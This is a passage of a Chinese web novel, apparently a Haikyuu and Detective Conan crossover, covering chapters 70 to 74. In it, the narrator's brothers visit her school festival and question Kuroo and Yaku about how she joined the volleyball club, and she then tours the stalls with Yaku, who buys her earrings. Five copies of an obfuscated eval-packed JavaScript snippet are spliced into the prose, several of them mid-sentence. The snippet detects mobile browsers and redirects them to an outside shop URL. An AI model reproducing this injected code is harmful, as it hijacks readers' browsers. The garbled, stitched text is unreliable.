他看着我被他一噎，忍不住微微勾起一点唇角，随即转移视线，正儿八经地将手中的抽签筒递了过去，“请抽签决定负责范围吧，两位不介意的话可以一起抽。”不光不会重复、还少一次摇匀的工作，天才的提议。 研二哥原本正颇为好奇地、兴致勃勃地看我跟福永前辈对话，见终于提到自己了便笑吟吟地接话，顺便伸手抽了两根签子回来，“当然不介意。” 将被压在另一根签子下的签子顺手递给旁边的幼驯染，他低头瞥了眼自己抽到的地区，刚准备说些什么，便被另外插入的一道稍微有些惊讶的声音打断。 “欸？萩原先生和松田先生？”帮着福永前辈收球的夜久前辈有点惊讶的声音传来，我下意识转头，看见他抱着四个球走过来，先把球放到旁边的球框里，才过来打了个招呼，“没想到又见面了，是来玩这个项目的吗？” “夜久君？很巧嘛。”想到什么，萩原不自觉多看了他两眼，“是哦，顺道来看看。” 福永前辈左右看了看，“欸？”了一声，问：“原来是夜久前辈认识的人吗？” “也算是吧……是我的哥哥。”沉思两秒觉得也没问题，我于是应下，随即跟他们介绍福永前辈，“阵平哥、研二哥，这是福永前辈。” 福永前辈原地卡了两秒，惊道：“欸？是小游的哥哥？？” “是的。”萩原应道，“我叫萩原研二，这是松田阵平，你好。” “我叫福永招平。”一边自我介绍，福永一边不自觉将视线瞥向我。 ——夜久前辈竟然认识小游的哥哥吗？ 70. 第七十个小岛 注意到福永前辈的目光，我转头看过去，跟他对视两秒，将他没个动作不禁疑惑起来，再看他两眼，试图用眼神传达自己的疑惑：怎么了？ 福永沉思了半天后像是突然想到了什么，他也看我两眼，表情隐隐带上两分恍然大悟，看我的眼神也莫名带上一丝讶异。 他挣扎了一会儿，用拿着球和抽签筒的那只手艰难地给我比了一个大拇指，“好样的，小游。” “……”我完全没理解他在说什么，只默默看了他艰难的动作一眼，欲言又止地伸手接过来，“……我帮你拿吧，福永前辈。再这样下去肯定会掉的。” “谢谢，帮大忙了。” 说话间，研二哥已经率先抱着颗排球上场了。 他抽到的位置很刁钻，底线中间的六号位左右，对于新手而言是个很难控制的区域——用力过头容易出界、用力过轻又容易飞不到位置。 ——反正我抽到这个位置的时候一球没进，就是不知道研二哥能不能进了，他刚刚还蛮自信的来着。 这么想着，我将目光投向那边正在发球区低头试着手上排球的软硬程度的萩原。 他顺手按了按手上的排球，又往地上拍了拍，确认了一下软硬程度和弹性，才重新抬头朝场对面望去、似乎在估算距离的样子，看起来意外的熟练——有点不太像没打过排球的样子。 这么想着，我稍微有些疑惑地侧头望了望松田，问：“研二哥不是说他没学过排球吗？” 阵平哥正举着手机对准那边的研二哥，闻言动作一顿，沉思了两秒，笃定：“他应该是唬你的。” “欸？” “初中高中体育课都有分到过排球的啊，”阵平哥回忆着跟我说，“但那家伙对排球不敢兴趣，上的时候也没多认真，跟其他学年的体育课一对比，大概已经忘光了吧。” ……啊。 这么一说的话、我好像也是这样的……来着。 虽然之前稍微学过一点排球，但我貌似已经因为学得不深、加上时间过得太久所以全都忘掉了，下意识把自己归为零基础的那种完全没打过排球的人了。 “但研二哥看起来很熟练欸。”顿了顿，看着那边研二哥有模有样的动作，我又若有所思地这么道。 “没事，反正不出意外的话他也打不准的。”阵平哥唏嘘道，“可能最后会是两千日元。” “……那未免也太多了吧。” 阵平哥一语成谶。 研二哥看起来的确已经把排球技巧忘地差不多了，动作生疏地很明显（至少我看了这么久实力很不错的前辈们发球之后再看他就多少能看出一点生疏感），第一球也不出意外地没进——不过只是擦着边出界了欸！比想象中的好多了。 这么想着，我伸手朝恰好看过来的研二哥挥了挥手，“研二哥加油哦。” 可能是因为收回了flag的原因，研二哥并没有因为自己第一球的失利而有什么类似于沮丧的反应，他弯腰捡起旁边离得近些的球，注意到我的动作，也同样笑眯眯地朝我挥了挥手。 “为什么有一种萩真的上场参加了什么比赛的感觉。”松田匪夷所思地转头看向我，“你未免也太捧场了吧？那家伙绝对会飘的。” “欸？有吗？”我闻言沉思两秒，转而问旁边的阵平哥，“那你要加油吗？阵平哥？” “……”松田没回话，只是伸手、没怎么使力地将我的脑袋压下去，“音驹有什么魔力吗？你怎么突然这么会说话了，进化了？” 顿了顿，他面色凝重道：“不管你是谁，赶快从我妹妹身上下来。” “……喂。” # 研二哥最后带着两个书签回来了。 除了第一球有些失误、剩下两球他都调整地很快，顺利投进两个后拿上奖品，刚来到场边便兴致勃勃地再次掏出二百日元，“我再来一次！下次肯定能把玩偶带回来！” 阵平哥眼疾手快拦下准备重新往上冲的研二哥，“倒是给我好好回去排队啊！” 他随即随手从排球框里拿起一个球，上场了。 他运气比研二哥好点，他抽到的区域是近网的三号位、就在他正对面，也因此，他所面对的难度要稍微比研二哥少一点（说他比研二哥强一点的话研二哥会闹的吧），至少他三球全部一次性中了。 对此，阵平哥冷笑一声，“看吧，flag也看人。” “喂喂，针对性太强了吧。”研二哥无奈地在旁边道。 他将挑挑拣拣拿回来的两枚书签放到我手里，随即转而重新上场，帮着捡完球后再次站到了发球区。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309420|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不知道什么时候凑过来围观的黑尾摸着下巴观察了一会儿，转头跟旁边的夜久感慨，“小游她哥哥运动神经都很好啊，不知道对排球感不感兴趣。” 夜久斜他一眼，“我记得你之前也没到看到人就想让对方学排球的程度啊，怎么现在变成这样了。” “这不一样啦，这种运动神经的人不学排球就是很可惜啊。” “？也没见你眼馋其他运动社团的成员啊。”倒是隔壁篮球部的主将很眼馋他们部的灰羽。 “我也没有眼馋人才到盯其他社团的地步吧，这不是小游没说她哥哥是不是运动社团的嘛，我当然要先当他们不是然后眼馋一下啊。” 夜久顿了一下，随即回想两秒，“那你继续眼馋吧，小岛她哥哥的确不是运动社团的。” ？ 黑尾回头看他，“你怎么知道小游她哥哥是不是运动社团的？”知道是不是运动员倒还正常、毕竟有关工作的事情偶尔聊起提到也不奇怪，但学生时代的社团除非直接问否则一般是不会说的吧？ ——夜久干什么了？ 看着黑尾的眼神逐渐微妙起来，夜久直觉他脑补的绝对不是什么好事（虽然到底脑补了什么他也不是很清楚），于是很有先见之明地在同期开口之前抢先开口，“不管你想的是什么都先打住，总之不是你想的那样。” “她哥哥的事情是之前和小岛聊起来的时候她跟我说的。”他这么道。 说是她哥哥一直都没有参加运动社团、每天放学就回家拆家里的电器什么的……不过虽然小岛本人不太在意、是随口说给他听的，但他却是没法在未经本人同意的情况下直接跟黑尾说，那太失礼了。 黑尾见他没说下去便也清楚这涉及到不能说的地方了，他没继续追究下去，只是若有所思地盯着同期看了一会儿，看得他全身发毛地警惕着看回来时，才收回视线、感慨道：“你和小游都已经熟到这个地步了啊。”涉及哥哥学生时期的事情都跟他说了，这两个人未免也有点熟过头了吧。 ——结果愣是一点进度也没有，完全想不通为什么。 看到现在已经连着急的情绪都生不起来了，他只想看看他们两个到底能持续这样的状态到什么时候。 黑尾抱臂冷静地想：等他们在一起就拿着日历嘲笑这两个人。 71. 第七十一个小岛 研二哥第二次上场没出什么意外，顺利地三球全中，十分骄傲地从球场上下来了。 他看着心情很不错，注意到我瞧过去的视线便抬抬眉梢朝我露出个笑来，随即走到我身侧拍拍我的肩膀，给我指了指那边放奖品公仔的地方，笑着道：“去挑吧，两个哦。” “也可以去活动室挑哦，小游。”福永从他的话中意识到挑奖品的对象是我，于是沉吟两秒，伸出一根手指指了指排球部活动室的位置，提议，“大半玩偶都在那边呢，种类会更多一点。” “那就去活动室挑吧，小绘。”研二哥闻言没怎么思考，便也低头向我建议道。 我顿了顿，抬头看他两秒、又转头看了看阵平哥，莫名犹豫了一会儿，才慢半拍地应了一声，“……行？但我不知道剩下的玩偶放在哪里了欸，我没参与最后的整理环节。” 一边说着，我一边转头望向福永前辈，“福永前辈？” 他朝我神气地比了一个大拇指，“我记得哦，我带你去吧！” 再转头看了眼研二哥的表情，我犹豫两秒、随即应下，“好、那现在走吧？” ……应该没看错吧？看阵平哥和研二哥的表情应该是都想让我回避一下的意思，虽然有点不太懂他们要干什么就是了。 跟着福永前辈走进体育馆之前，我遥遥往回看了一眼，似乎是隐约看到阵平哥和研二哥他们正在跟夜久前辈和黑尾前辈说些什么。 啊……是有什么事情找夜久前辈他们说吗。 顿了顿，我突然想到什么，稍微有点犹豫地再回头看了一眼，有点不太确信地想 ——他们不会还在疑惑我到底是怎么加入的排球部吧？ # ——那当然是不至于的了。 不管是松田还是萩原都是接受能力很强的人，最开始直到自己眼里跟运动社团完全沾不上边的妹妹成了排球部经理时稍微失态倒也算可以理解，但事到如今，他们要是还是会为这件事情大惊小怪未免有点太小瞧他们的心理承受能力—— 但接受是一回事，好奇又是另一回事了。 小绘本人肯定说不出个所以然来（她又不可能是最开始就主动想要加入排球部成为经理的），那就只能问其他较为了解的社团的前辈们，可本人在场的话很多东西多少会下意识顾忌着她的心情而选择不说出来（即使那孩子本人不介意）。 本来还在纠结这种情况下对方说出来的话有几分真几分假，但结果就这么正好有机会，萩原便当机立断地随口找了个借口把她支走了。 等她走远，他就直直朝那边注意了很久的两个人走去。 ——主要还是找那个妹妹喜欢的人，毕竟两个人看起来真的很熟，另外一个黑头发发型奇怪的那个人算是顺带。 “嗨，”萩原很自然地朝对面的人打了个招呼，“你好，我是小绘的哥哥萩原研二，这是她另一个哥哥松田阵平。” 面前黑发的高个高中生极明显地愣了一下，先下意识看了同伴一眼，从跟同伴对视的那一眼中意识到来人找的是自己后惊讶地又看了同伴一样，随即才转回来，语气正经：“前辈们好，我是排球部部长黑尾铁朗，初次见面还请多多指教。” 竟然是部长啊……作为经理，跟部长应该会有一些关于社团的必要交流吧？ 这么想着，萩原伸手握了握高中生伸来的手，等松田也跟对面也打过招呼之后，就没有一丝废话地单刀直入道：“嗯……介意跟我简单聊两句吗？关于小绘那孩子怎么加入的排球部。” 他说完停顿两秒，一边琢磨着怎么继续说下去一边开口，完全没注意到对面两个高中生一瞬间紧绷起来的表情，“因为警校是封闭训练，所以小绘这半年都没怎么给我们发消息，结果一出现就突然跟我们说加入排球部成为了经理，我们会稍微有一点点好奇……” 一边说着，他还一边故作遗憾地叹了口气，两根手指上下比出一个客观意义上很小但实际很大很大的距离。 没人回他。 他面前的两个男高中生正在平复自己大起大落的心情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309421|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜久＆黑尾：原来不是来质问的……吓我一跳。 还好不是那种“我家孩子怎么可能会加入你们排球部是不是你们做了什么逼ta加入”的剧情……不过这种东西出现在现实里未免也有点太奇怪了吧。 顿了顿，黑尾终于有余力将心思放在面前跟他差不多高的前辈身上，顺着面前学妹的兄长的话思考两秒，“小游是怎么加入排球部的……” 说实话其实他也不太清楚那孩子的心理想法来着，本来一直对加入排球部一点兴趣没有的样子，每次过来看练习赛也只是认认真真地蹲在场边逮着人拍照，对球可谓是几乎没投去过几分视线——结果突然有一天找上门来说想成为经理。 明明就算是已经当了几个月经理的现在她其实也看不太懂排球来着……稍微有点搞不太懂。 不过听她哥哥的意思似乎只是想问一下小游加入排球部前后发生了什么……那就好办很多了。 “倒也不是最开始就加入排球部的……” 黑尾一边回想一边简单说了一下他们经理跟排球部的所有交集——先是看对内练习赛、再是看与外校的练习赛、最后是看正式比赛，就连起因的想来排球部找素材也没漏下。 “大概就是这样。” 顿了顿，他又有点不确定地侧头看了眼夜久，直到对方沉吟片刻朝他点了点后才确信自己没有遗漏地重新转回了头。 “原来如此。” 二人从头到尾都听得很认真，就是神色稍微有些莫辨、不知道在想些什么，直到他话落结束后才开口应了声。 其中那位一头卷发面容冷峻的青年神色也隐隐柔和下来，带上几分欣慰，“倒是没猜错。”虽然大概还是漏了点什么，以他对小绘的了解，那孩子应该是没可能自己主动提出去看其他社团内部训练或是练习赛的。 但不管怎么说……“谢了。” 他笑着道。 除了同他们说了小绘加入排球部的历程之外，还有——谢谢你们对她所造成的影响。 72. 第七十二个小岛 “所以，”抱着一只垂耳兔和一只小白猫的玩偶回来就得知两位哥哥准备走了，我同他们告别，等他们二人的背影都消失在人群尽头，才有些好奇地转头问夜久，“我哥哥他们刚刚问什么了？” “嗯……”夜久想了想，“问了一下你是怎么加入排球部的？你哥哥看起来对你加入排球部这件事有点不太敢相信来着。” 顿了顿，他又有些担忧，“没问题吧？我们只简单说了一下你当初来参观练习赛的事情，别的都没怎么细讲。” “还真是这样啊……没问题的，我哥哥他们人很好。”稍微有点哭笑不得地回应了夜久前辈的担忧，我又有点对自己猜对了这件事感到惊讶，但很快便转瞬即逝，对此并不算好奇，便也没再问下去。 看了看时间，再看看已经到场准备跟我们换班的下一组的部员，我转头望向不远处的黑尾，问：“那黑尾前辈，我们先走啦？” “好——玩得开心啊，你们都是。”他朝我们招了招手，不忘补充一句，“结束记得回来集合啊，我们要一起收拾残局的。” 欸……还真忘了还有这事了，还好有黑尾前辈提醒。 略有些心虚地移了移视线，我抿了下唇，老老实实地应了一声，“会记得的。” 黑尾前辈闻言似有所觉地看我一眼，语气笃定地道出真相，“小游你绝对忘了吧。” ……反正夜久前辈肯定会记得的，又不会有什么影响。 这么想着，我缩了缩脖子，假装没听见黑尾前辈的话，伸手拉了拉夜久前辈的袖口，语气镇定，“夜久前辈我们快走吧，小吃街附近有一家很好吃的可丽饼，我还想尝尝巧克力布朗尼味的。”不过不知道能不能吃完就是了……那个可丽饼还蛮大一个的来着。 旁边，夜久前辈正经地应了我的话，随即反手拉过我的手腕转身就走，“当然没问题，我们走吧，不管黑尾那家伙。” “喂喂，也别太旁若无人了吧？”黑尾的吐槽声从身后不远处传来，我下意识回头望过去，却见他不自觉笑着双手抱臂看着我们的背影，见我回头，还随意地朝我挥了挥。 “玩得开心——”他道。 我也忍不住笑起来，伸手也朝他挥了挥手，出口的声音恰好和夜久前辈合在一起。 “好——” # “先去可丽饼的摊位？小吃街附近的话、应该是这家吧？”在轻音旁边停下观摩了会儿他们在演出之外又举办了一个的“乐器展览大会”，我仔细瞧了瞧架子上摆着的那把木吉他，还没来得及感慨什么，便被突然消失了一会儿又突然出现的夜久前辈的声音拉回了注意力。 “啊、啊？”一时没反应过来，我有点茫然地移开视线望过去，视线不自觉落在他手中拿着的一个小册子上，不禁有点好奇地问，“这是什么？” 闻言，夜久低头看了看自己手中只有他一个巴掌大的小册子，“这个？这个是宣传手册，也可以理解为地图，里面有标了所有摊位地点的学校地图。” 每年文化祭，学校都在统计完每个社团和班级的项目并分好摊位位置后统一印刷成类似宣传手册的小册子，前面是关于音驹文化祭和音驹本身的这所学校的介绍，后面则是所有的摊位名和地图，不管是对外来的游客还是对本校的本校的学生都很有用，学校干脆就分了好几批放在校园内部，有需要的自取就好。 刚刚夜久就是看我在这看得入神，便趁机去附近路边的小桌子上拿了一本回来。 闻言，我颇有点恍然大悟地“喔”了声，随即朝他走近两步凑到他身侧，扒着他的手探头去看。 距离一瞬间拉得极近，但两个人都没什么反应，夜久甚至还转了转手，将翻开的小册子侧对着我，方便我看。 顺着他指着的地方短暂回忆了一下，我肯定地点点头，“就是那里！那家可丽饼超好吃的。” “这家离得还挺远的欸。”闻言，夜久看着地图上可丽饼和他们现在的摊位的距离沉思了两秒，迅速规划出了个路线，手指按在纸面上比划了一下，“顺着这条路走过去吧，小吃摊位相对来讲比较少，玩的项目会更多一点。” 我对这个没什么意见，目光随他动作追着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309422|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指按着纸面划过去，直到他问起才心不在焉地含糊应了一声，“好，我没问题。” “行。”他有察觉到我的分神，不禁有点疑惑地侧目看我两眼，随即视线一转，投向我刚刚在看的那把吉他，随即顿了顿，意识到什么，“是在看吉他？” “……”虽然最开始看的的确是吉他、但夜久前辈问的显然不是最开始我在干什么……我总不能说我刚刚在看他的手吧。 微微沉默两秒，我默认般地应了声，“嗯……这把吉他牌子蛮出名的，价格也高，没想到能在这里见到。”不小心被碰到坏掉或者被偷了的话，对学生来说都是很大的损失啊。 “听起来了解很多嘛，小岛。” 他语气随意而轻松地调侃我一句，看起来没太放在心上，但我闻言不自觉沉默两秒，突然意识到一件事。 ——啊，我好像完全没有跟前辈们提起过我会弹吉他、而且弹得还不错的事情。 明明自从上次意识到为了拍照很长一段时间没有碰过吉他之后就再也没有懈怠过、只要有时间就每天都会练个几小时来着……竟然完全没有提起过。 顿了顿，我小声跟夜久前辈说：“夜久前辈，我其实是会弹吉他的来着……国小二年级弹到现在，已经有八九年了。” “……欸、欸？！”他极明显地面露惊讶之色地望着我，瞳孔都微微缩了几分，“这么长时间？？” “……是吧。”我其实也是刚刚一算才惊觉自己原来已经弹了这么久吉他的来着…… 不自觉伸手抓了抓脸颊，我琢磨着措辞，下一秒，却突然感受到原本垂在身侧的左手手掌被人牵着拉了起来。 我不自觉怔了怔，微微睁大了眼睛去看他。 男生没注意到我的视线，动作很轻地握着我的手掌，低头垂眼、凑近了些观察我的指尖，半晌，有些若有所思地道：“怪不得你明明手养得很好、但偏偏就只有左手的手指尖上有一层很厚的茧子啊……我还在纠结了很久是怎么回事呢，原来是吉他啊。” 我下意识眨了眨眼。 ……欸？ 73. 第七十三个小岛 夜久前辈竟然连这个都有注意到吗…… 这么想着，我下意识垂眼，目光落在自己被他握着牵起的手上。 怎么说呢，弹吉他的话，按弦的左手手指的指尖长茧其实是必然的来着，不然的话弹起来会很痛。 嗯……茧是随着练习时长叠加逐渐形成的，最开始会比较明显，看起来也有点糟糕的样子（反正不是很好看），不过练到后面，有茧的手指会逐渐变得和本来的手指没什么区别，我之前的老师跟我说过，到这个阶段的时候茧子其实已经不太好从外表看出来了，形成内茧之后基本上只有摸能摸出来。 唔……老师说得好像是对的，的确看不太出来。 仔细瞧了两眼自己的手指，再低头看了看另一只手，我没瞧出什么区别，便又琢磨两秒，还没想出个所以然来，便突然听到夜久前辈的声音。 他刚刚似乎只是单纯感叹一下，很快便松开手，随即有些好奇地问我，“会弹吉他的话是不是喜欢哪首歌就可以自己弹啊，好厉害。” 他看起来真心实意得厉害，我看了他两秒，意识到这不是客套话后便莫名有些不自在地微微撇开脸、避开他的视线，慢半拍地有点犹豫地应声：“……也还好啦，会看谱子之后也没过多久就可以从网上找曲子弹了，其实不是很难、来着。” “那也已经足够厉害了啊。” 听到我的话，夜久侧头望过来，目光落在我侧脸上停了会儿，随即伸手，将贴着我侧脸落下的那两缕发丝别到耳后。 “也不是非得弹得多好才能被夸奖啊，”他这么道，“能够坚持下来、连续着弹这么久的吉他就已经很了不起了，小岛。” “这很厉害。” 我有些怔忪地在原地站了一会儿，大脑缓慢地转了两秒，终于解读出他的意思时，我察觉有股子发烫的温度从脖颈缓慢地、安静地蔓上耳根。 下意识抬眸望去，却恰好直直撞进他眼里时，我不禁微微一顿。 仅仅是两秒，我就有点受不了他望向我时专注的、沉静的、像是全世界只剩下我一个人那样的眼神，于是低头伸手掩住隐隐升温的脸颊和眼睛，隔绝他望向我的眼神。 “……先等等，别说了。” 音节碎在唇齿间，吐出时也含糊地不太像样，我轻咬了下唇肉，感受着面颊上涌起的一股股热气，半晌，忍不住抿了抿唇。 ……这样的话，不就显得两分钟前说出“我其实会弹吉他还弹了很久”的自己是故意说出然后讨夸的吗。 但我……我一直不是一个擅长应对夸赞的人。 偏偏还是夜久前辈……这要我怎么冷静地继续站在这里啊。 心脏……跳得未免有些过于快了。 # 等面上热度勉强散下去，我便松开手，没等夜久前辈回话便推着他顺着夜久前辈刚刚指的那条路线走，没过几个项目我就不太能回想起之前的事情了（在我自己刻意控制下……以及夜久前辈意识到我的意图后虽然不解但依旧迁就了我的功劳）。 最开始一段路都是些运动社团做的摊位，大多数都是跟排球部差不多的项目，篮球部的投篮相关的活动、弓道部的投箭矢的项目、网球部掷球的项目……我都没太多兴趣，只跟着夜久前辈一起玩了一下弓道部那个投箭的项目。 二百日元五箭，在起点线往前方丢至他们装箭的箭壶里，宇宙无敌难。 箭壶的开口很小，我走到它跟前二十厘米都投不进去，更别说这距离起码得有个一米宽。 不过奖品也丰厚到配得上这个难度就是了……具体是什么我忘了，只给我留下了个高风险高回报的印象。 除此之外就算没投中也一样会有一个抽奖的机会，都是些精品店常见的小礼品，皮筋摆件什么的，我抽了个浅咖色的毛绒猫猫头挂件出来，再转头去看夜久前辈，盯了两秒感觉他的那个应该是和我一个系列的，是个差不多造型的白色毛绒猫猫头。 指腹按着毛绒绒触感的小布娃娃搓了搓，我低头端详两秒，又按了按，发现它没软到之前夜久前辈送的那只浅咖色小熊的程度，便遗憾了一下，随即见夜久前辈也抽完出来，就顺手将它踹进兜里。 “弓道部就没打算让人投进吧，”夜久前辈跟我吐槽，“这不是已经变成二百日元一次抽奖附赠五次投箭机会的活动了吗？” 我看看那边为了享受抽奖的盲盒乐趣果断掏出二百日元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309423|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付款、然后敷衍投完五箭就去抽奖的女高中生，不得不承认他说得对。 “应该就是跟弓道部扯上了点关系的抽奖活动吧。”看着又一个人上去抽奖，我莫名也有点蠢蠢欲动，“挂件摸起来的质量就很不错啊。” 夜久前辈看我一眼，“喜欢？” 我已经对他跟有读心术一样的状态习以为常了，闻言也不再稀奇，只眼睛亮了亮，转头问他，“喜欢就有吗？” “喜欢就有。”他肯定道。 我闻言安静下来，定定盯他两秒。 ……但我喜欢你啊，夜久前辈。 将几乎已经咬在齿间的话咽回去，我问他，“……那下周能不能陪我出去玩？” “吉他很久没换了、想再买一点娃娃回去放在家里、还想去之前没逛过的精品店看看那里看看。” “不想一个人去所以一直拖到现在……夜久前辈，你能不能陪我去呢。” ……这是在撒娇吧。 夜久望着我线条柔和而圆润的眼睛，心里不自觉冒出这么个念头。 ……这不是已经吃准了他绝对拒绝不了吗。 他忍不住微微扯开唇角、弯起眼睛，朝我露出个隐约带些无奈的笑来，“这么说不是完全没给我拒绝的可能吗……当然可以，小岛。” 你记得的吧。 【我一直愿意。】 我永远愿意。 # 剩下一小段路的摊位就大多都是文化社团的了，读书社的展览会（本来还有点意外那里还蛮受欢迎的结果凑近一看展览的全是轻小说……）、美术社和手工社联合起来的手工艺品的义卖、最后还有烹饪社的甜品。 嗯……我拉着夜久前辈全逛了一边、然后花了好多钱。 美术社和手工社摊位上的东西都很和我口味来着……石塑粘土做的各种小饰品、手工织出来的一些针织工艺品、还有一些应该是用来放卡和徽章的装饰品。 我挑挑拣拣着买，最后带着一小袋子零碎的小东西出来的时候却一时没找到夜久前辈，一回头才发现他似乎也正在拿着什么东西结账。 欸？我一直以为夜久前辈对这些不太感兴趣的来着。 74. 第七十四个小岛 稍有些好奇地凑过去看，他却刚好捏着那个不知道是什么的东西放进口袋里，我稍微愣了下，视线下意识追着他的手下滑，随即落在队服袖子和口袋的布料没有遮住的那一小截皮肤上。 鲜艳的红色同那截皮肤两相映衬，衬得它白得甚至有些突兀的晃眼。我在这一刻忽地记起，排球其实是个室内运动来着。 ……啊。 一时发怔，夜久前辈转回来时我第一时间没反应过来，差点直接跟他撞上，索性夜久前辈反应比我快些，便眼疾手快地攥住我的手臂扶了我一把。 “怎么默不作声地站我后面。”他看起来实打实被吓了一跳，神情都染上两抹惊惧，看见是我时才稍稍松了口气，随即条件反射地回问我。 语气稍显生硬，但我却没太敢抱怨这点，只稍微有点心虚地撇开眼睛（将心比心，如果我后退的时候突然毫无准备地撞上一个人的话我估计反应会比夜久前辈还大……就不太敢说什么了），含糊应了句我自己也不太清楚自己说了什么的话，随即见夜久前辈有疑惑反问我说了什么的样子，便有点仓促地转移话题，“……夜久前辈，你刚刚买了什么啊。” “刚刚？”他似乎是疑惑了一瞬我在说什么、但很快便反应过来，随即罕见有些不太自在地偏开视线，微妙地沉默了一会儿，随即从口袋里将刚刚亲眼看着他放进去的东西摸出来，捏着白色纸片的一角将它在我面前抖开。 那是一副……耳钉？ 应该也是石塑粘土做的，但不是对称的款式，一只是明黄色的星星、另一只是浅紫色的弯弯月牙，相同的是其下都挂上了挂坠，玫瑰金色的链子拉着几枚浅色渐变的小石头在空中晃晃，看起来甚至有些可爱。 是我看到也会买的类型……不过我没打耳洞来着，所以刚刚看的时候完全没往那个区域看，只在旁边的挂坠饰品区逛了逛。 再看两眼，我不自觉眨了眨眼，心中缓缓浮起的那一丝猜测让我下意识转头望向夜久前辈。 他没看我，正垂眼望着自己手上的那副耳钉，语气掺上两分犹豫，“最开始第一眼觉得很适合你就下意识买单了……但买完才想起你没有耳洞。”所以最开始他是没打算将它递到我面前的……如果我没有主动问的话，他其实连说都没打算说的、来着。 ……猜测成真了。 我望着耳钉在空中晃来晃去的链子，安静了两秒，问他，“……是给我的礼物吗？” “说是礼物未免也太轻了点吧？”他纠结着，“而且也不是你所需要的……礼物的话果然还是下次再说吧。” 心里不自觉空了一拍，我微微睁大了眼，还没感觉到失落，便看见夜久前辈将耳钉递到我面前的动作，刚有所下降的心情一瞬间停滞，我望着男生干净的眉眼，再低头看看他放在我手心的耳钉，下一刻，听到他自面前传来的声音。 “事先说好，这个耳钉不是我想让你打耳洞的意思。”他语气带上两分犹豫，“倒也别为了这么个耳钉去打耳洞……不想打不打就好了。” “至于耳钉本身……” “它本来就是因为你才会被我买下的，它的最终归属只会是你。” “所以，如果不觉得自己用不上它而不想要的话，就收下吧。” 顿了顿，他朝我笑了下，“真正的礼物就下次再说吧，那可不会像现在这样草率了。” …… 我将耳钉握进掌心，望他良久，道：“我没有觉得草率。” “礼物本身的心意就已经足够珍重了，夜久前辈。” “知道你在看到耳钉的第一时间想到的是很适合我而下意识买下、知道你有注意到我其实没有耳洞的那一刻就已经是我所想要的最好的礼物了。” 望着他因怔愣而微微睁大的眼睛，我忽地想起什么，情不自禁地、呢喃般感慨。 “……真的有在注视着我啊，”我慢慢地、堪称珍重地念他的名字，“夜久前辈。” # ……未免有点太犯规了吧，小岛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309424|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p># 剩余的时间过得很快。 买完可丽饼之后再往外逛了段时间就差不多到了结束的时候，我们这回提前了快二十分钟到了排球部摊位，准备等到点收摊的时间顺便等人齐。 临到了结束的时间，路上的人扫了大半，染上黄昏颜色的夕阳洋洋洒洒地落下橘色的光辉，我和这个点值班的研磨前辈已经坐在摊位里侧的椅子上，他玩游戏、我看手机检查有没有漏掉消息，氛围倒是出奇的和谐。 一局游戏结束的空档，研磨微微侧了侧脸，望向规规整整放在我脚边、里面各种玩偶饰品却随意堆在一起的纸袋，再看了眼被我攥在手里的那两枚耳钉，安静地观察了一会儿，问：“怎么不把它也放进去？” 他的声音突然又突兀，我被吓了一下，一瞬间从混乱的思绪中被拽回了清明的现实世界，不禁下意识侧目看去。 对上我疑惑的视线，身旁的前辈伸手指了指我手中被卡在纸片上的耳钉。 反应了好一会儿才懂了他在问什么，我低头看了看自己掌心的耳钉，琢磨两秒觉得应该没什么不能说的东西，便如实回答他，“因为东西很多，放进去之后再找会比较困难。” 聪明的前辈慢慢应了声，他已经又开了一把游戏，聚精会神地投入进去时，传来的声音也显得心不在焉了许多。 